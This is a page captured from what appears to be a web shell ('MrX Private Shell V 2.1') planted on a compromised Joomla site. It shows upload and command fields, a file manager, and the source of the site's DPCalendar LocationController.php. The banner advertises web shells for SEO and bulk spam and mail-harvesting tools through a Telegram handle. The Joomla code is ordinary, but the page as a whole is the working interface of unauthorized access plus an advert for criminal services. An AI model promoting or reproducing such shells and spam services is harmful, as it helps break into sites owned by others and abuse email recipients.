__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package   DPCalendar
 * @copyright Copyright (C) 2014 Digital Peak GmbH. <https://www.digital-peak.com>
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU/GPL
 */

namespace DigitalPeak\Component\DPCalendar\Administrator\Controller;

defined('_JEXEC') or die();

use DigitalPeak\Component\DPCalendar\Administrator\Helper\DPCalendarHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\FormController;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;

class LocationController extends FormController
{
	protected $text_prefix = 'COM_DPCALENDAR_LOCATION';

	public function batch($model = null)
	{
		Session::checkToken() or jexit(Text::_('JINVALID_TOKEN'));

		// Set the model
		$model = $this->getModel();

		// Preset the redirect
		$this->setRedirect(Route::_('index.php?option=com_dpcalendar&view=locations' . $this->getRedirectToListAppend(), false));

		return parent::batch($model);
	}

	public function save($key = null, $urlVar = 'l_id')
	{
		return parent::save($key, $urlVar);
	}

	public function loc(): void
	{
		Session::checkToken() or jexit(Text::_('JINVALID_TOKEN'));

		$loc = $this->app->bootComponent('dpcalendar')->getMVCFactory()->createModel('Geo', 'Administrator')->getLocation($this->input->getString('loc', ''), false);

		$data              = (array)$loc;
		$data['formatted'] = $this->app->bootComponent('dpcalendar')->getMVCFactory()->createModel('Geo', 'Administrator')->format([$loc]);
		DPCalendarHelper::sendMessage('', false, $data);
	}

	public function searchloc(): void
	{
		Session::checkToken() or jexit(Text::_('JINVALID_TOKEN'));

		DPCalendarHelper::sendMessage('', false, $this->app->bootComponent('dpcalendar')->getMVCFactory()->createModel('Geo', 'Administrator')->search(trim($this->input->getString('loc', ''))));
	}

	public function edit($key = null, $urlVar = 'l_id')
	{
		return parent::edit($key, $urlVar);
	}

	public function cancel($key = 'l_id')
	{
		return parent::cancel($key);
	}
}

Filemanager

Name Type Size Permission Actions
CaldavController.php File 714 B 0664
CountriesController.php File 599 B 0664
CountryController.php File 713 B 0664
CouponController.php File 941 B 0664
CouponsController.php File 605 B 0664
DisplayController.php File 1.23 KB 0664
EventController.php File 9.66 KB 0664
EventsController.php File 2.3 KB 0664
ExtcalendarController.php File 940 B 0664
ExtcalendarsController.php File 2.54 KB 0664
ImportController.php File 1.19 KB 0664
LocationController.php File 1.94 KB 0664
LocationsController.php File 1.16 KB 0664
PluginController.php File 1.1 KB 0664
TaxrateController.php File 710 B 0664
TaxratesController.php File 599 B 0664
TicketsController.php File 605 B 0664
TranslateController.php File 3.61 KB 0664
Filemanager